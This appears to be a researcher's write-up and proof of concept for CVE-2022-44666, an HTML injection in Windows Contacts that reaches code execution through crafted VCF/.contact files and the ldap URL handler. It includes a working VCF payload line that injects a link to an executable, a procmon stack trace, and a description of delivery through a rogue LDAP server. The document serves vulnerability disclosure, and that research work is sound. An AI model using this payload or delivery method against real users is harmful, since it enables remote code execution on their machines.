j00sean/cve-2022-44666Technical write-up and proof-of-concept for CVE-2022-44666, a Windows Contacts syslink control href attribute escape vulnerability enabling remote code execution via crafted VCF/.contact files and LDAP protocol handler.
This is the story about another forgotten 0day fully disclosed more than 4 years ago by [John Page (aka hyp3rlinx)][R.1]. To understand the report, you have to consider i'm stupid :-) And my stupidicity drives me to take longer paths to solve simple issues, but it also leads me to figure out another ways to exploit some bugs. Why do i say this? Because i was unable to quickly understand that the way to create a .contact file is just browsing to Contact folder in order to create the contact, instead of that, i used this info to first create a VCF file and then, i wrongly thought that this was some type of variant. That was also because of my brain can't understand some 0days are forgotten for so long time ¯\(ツ)/¯ Once done that and after the "wontfix" replies by [MSRC][R.2] and [ZDI][R.3], further investigations were made to increase the severity, finally reaching out .contact files and windows url protocol handler "ldap".
While i was reading the exploit code for [this vulnerability][R.4] which was actually released as 0day and it's possible to find [ZDI's report][R.5].
Update 2022/07/21: After reporting this case to MS, MSRC's folks rightly pointed me out Windows Contacts isn't the default program to open VCF files.
Further research still demonstrates the default program for VCF files on Win7 ESU & WinServer2019 is Windows Contacts (wab.exe), otherwise MS People (PeopleApp.exe) is used. Here is a full table of this testing:
Anyway they still argue there's some social engineering involved such as opening a crafted VCF file and clicking on some links to exploit the bug so doesn't meet the MSRC bug bar for a security update.
Update 2022/07/25: Well, after further research, it's the same bug. I've been finally able to find a .contact proof of concept. It's actually possible to correctly parse a .contact file using HTML entities. Note this solves the previous issue (Update 2022/07/21) and this file format (.contact) is opened by Windows Contacts, default program for this file extension, even when MS Office is installed in the system. It just needs a first file association if hasn't yet been done, but the only program installed by default to do that is Windows Contacts.
Update 2022/07/25: This further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. I was finally able to get it working thanks to ldap uri scheme, which is associated by default to Windows Contacts application, so just setting a rogue LDAP server up and serving the payload data under mail, url or wwwhomepage attributes, the exploiting impact is increased because now it's not needed to double click a malicious VCF/Contact file, we can deliver this using url protocols.
Update 2023/02/08: As a gesture of goodwill by MSRC, [John Page (aka hyp3rlinx)][R.1] has been included in the acknowledgement page for [CVE-2022-44666][R.10] discovery.
The report basically is the same than above links, however i've improved a bit the social engineering involved. In fact, the first thing that i made was to improve the way the links are seen, just like it were a XSS vulnerability, it's actually an HTML injection so it's possible to close the first anchor element and insert a new one. Then, i wanted to remove the visibility for those HTML elements so just setting as long "innerHTML" as possible would be enough to hide them (because of there are char limits).
This is the final payload used:
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/notepad">CLICKMEEEEE...</a>
To watch what happens, run procmon and setup a fake target of href attribute like this:
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
Once clicked the link, an output like this is observed in procmon:
This is the stacktrace for the first "CreateFile" operation:
0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS
1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS
2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS
3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe
4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe
5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe
6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe
7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe
8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe
9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe
10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll
11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll
12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll
13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll
14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll
15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll
16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll
17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll
18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll
19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll
20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll
21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll
22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll
23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
Setting a breakpoint in Shell32!ShellExecuteExW, we can have a clearer picture of the functions involved: